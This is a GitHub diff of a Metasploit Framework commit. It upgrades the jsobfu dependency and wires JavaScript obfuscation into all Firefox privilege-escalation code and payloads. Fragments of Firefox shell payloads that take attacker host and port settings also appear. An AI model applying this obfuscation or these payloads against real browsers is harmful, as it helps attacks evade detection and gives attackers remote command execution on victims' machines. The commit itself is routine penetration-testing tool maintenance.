File tree Expand file tree Collapse file tree 7 files changed +20
-12
lines changed
modules/payloads/singles/firefox Expand file tree Collapse file tree 7 files changed +20
-12
lines changed Original file line number Diff line number Diff line change 5
5
actionpack (< 4.0.0 )
6
6
activesupport (>= 3.0.0 , < 4.0.0 )
7
7
bcrypt
8
- jsobfu (~> 0.1.7 )
8
+ jsobfu (~> 0.2.0 )
9
9
json
10
10
metasploit-concern (~> 0.2.1 )
11
11
metasploit-model (~> 0.27.1 )
91
91
hike (1.2.3 )
92
92
i18n (0.6.11 )
93
93
journey (1.0.4 )
94
- jsobfu (0.1.7 )
94
+ jsobfu (0.2.0 )
95
95
rkelly-remix (= 0.0.6 )
96
96
json (1.8.1 )
97
97
mail (2.5.4 )
Original file line number Diff line number Diff line change 12
12
module Msf
13
13
module Exploit ::Remote ::FirefoxPrivilegeEscalation
14
14
15
+ # automatically obfuscate anything that runs through `js_exec`
15
16
include Msf ::Exploit ::JSObfu
16
17
17
18
# Sends the +js+ code to the remote session, which executes it in Firefox's
Original file line number Diff line number Diff line change 1
1
# -*- coding: binary -*-
2
2
require 'msf/core'
3
+ require 'msf/core/exploit/jsobfu'
3
4
require 'json'
4
5
5
6
module Msf ::Payload ::Firefox
6
7
8
+ # automatically obfuscate every Firefox payload
9
+ include Msf ::Exploit ::JSObfu
10
+
7
11
# Javascript source code of setTimeout(fn, delay)
8
12
# @return [String] javascript source code that exposes the setTimeout(fn, delay) method
9
13
def set_timeout_source
@@ -121,16 +125,15 @@ def run_cmd_source
121
125
var retVal = null;
122
126
123
127
try {
124
- retVal = Function(js[1]).call({
125
- send: function(r){
126
- if (sent) return;
127
- sent = true;
128
- if (r) {
129
- if (sync) setTimeout(function(){ cb(false, r+tag+"\\ n"); });
130
- else cb(false, r+tag+"\\ n");
131
- }
128
+ this.send = function(r){
129
+ if (sent) return;
130
+ sent = true;
131
+ if (r) {
132
+ if (sync) setTimeout(function(){ cb(false, r+tag+"\\ n"); });
133
+ else cb(false, r+tag+"\\ n");
132
134
}
133
- });
135
+ };
136
+ retVal = Function(js[1]).call(this);
134
137
} catch (e) { retVal = e.message; }
135
138
136
139
sync = false;
Original file line number Diff line number Diff line change @@ -56,7 +56,7 @@ Gem::Specification.new do |spec|
56
56
# Needed for some admin modules (cfme_manageiq_evm_pass_reset.rb)
57
57
spec . add_runtime_dependency 'bcrypt'
58
58
# Needed for Javascript obfuscation
59
- spec . add_runtime_dependency 'jsobfu' , '~> 0.1.7 '
59
+ spec . add_runtime_dependency 'jsobfu' , '~> 0.2.0 '
60
60
# Needed for some admin modules (scrutinizer_add_user.rb)
61
61
spec . add_runtime_dependency 'json'
62
62
# Metasploit::Concern hooks
Original file line number Diff line number Diff line change @@ -34,6 +34,7 @@ def generate
34
34
<<-EOS
35
35
36
36
(function(){
37
+ window = this;
37
38
#{ read_file_source if datastore [ 'WSCRIPT' ] }
38
39
#{ run_cmd_source if datastore [ 'WSCRIPT' ] }
39
40
Original file line number Diff line number Diff line change @@ -34,6 +34,7 @@ def initialize(info = {})
34
34
def generate
35
35
%Q|
36
36
(function(){
37
+ window = this;
37
38
Components.utils.import("resource://gre/modules/NetUtil.jsm");
38
39
var lport = #{ datastore [ "LPORT" ] } ;
39
40
var rhost = "#{ datastore [ 'RHOST' ] } ";
Original file line number Diff line number Diff line change @@ -32,6 +32,8 @@ def generate
32
32
<<-EOS
33
33
34
34
(function(){
35
+ window = this;
36
+
35
37
Components.utils.import("resource://gre/modules/NetUtil.jsm");
36
38
var host = '#{ datastore [ "LHOST" ] } ';
37
39
var port = #{ datastore [ "LPORT" ] } ;
You can’t perform that action at this time.
0 commit comments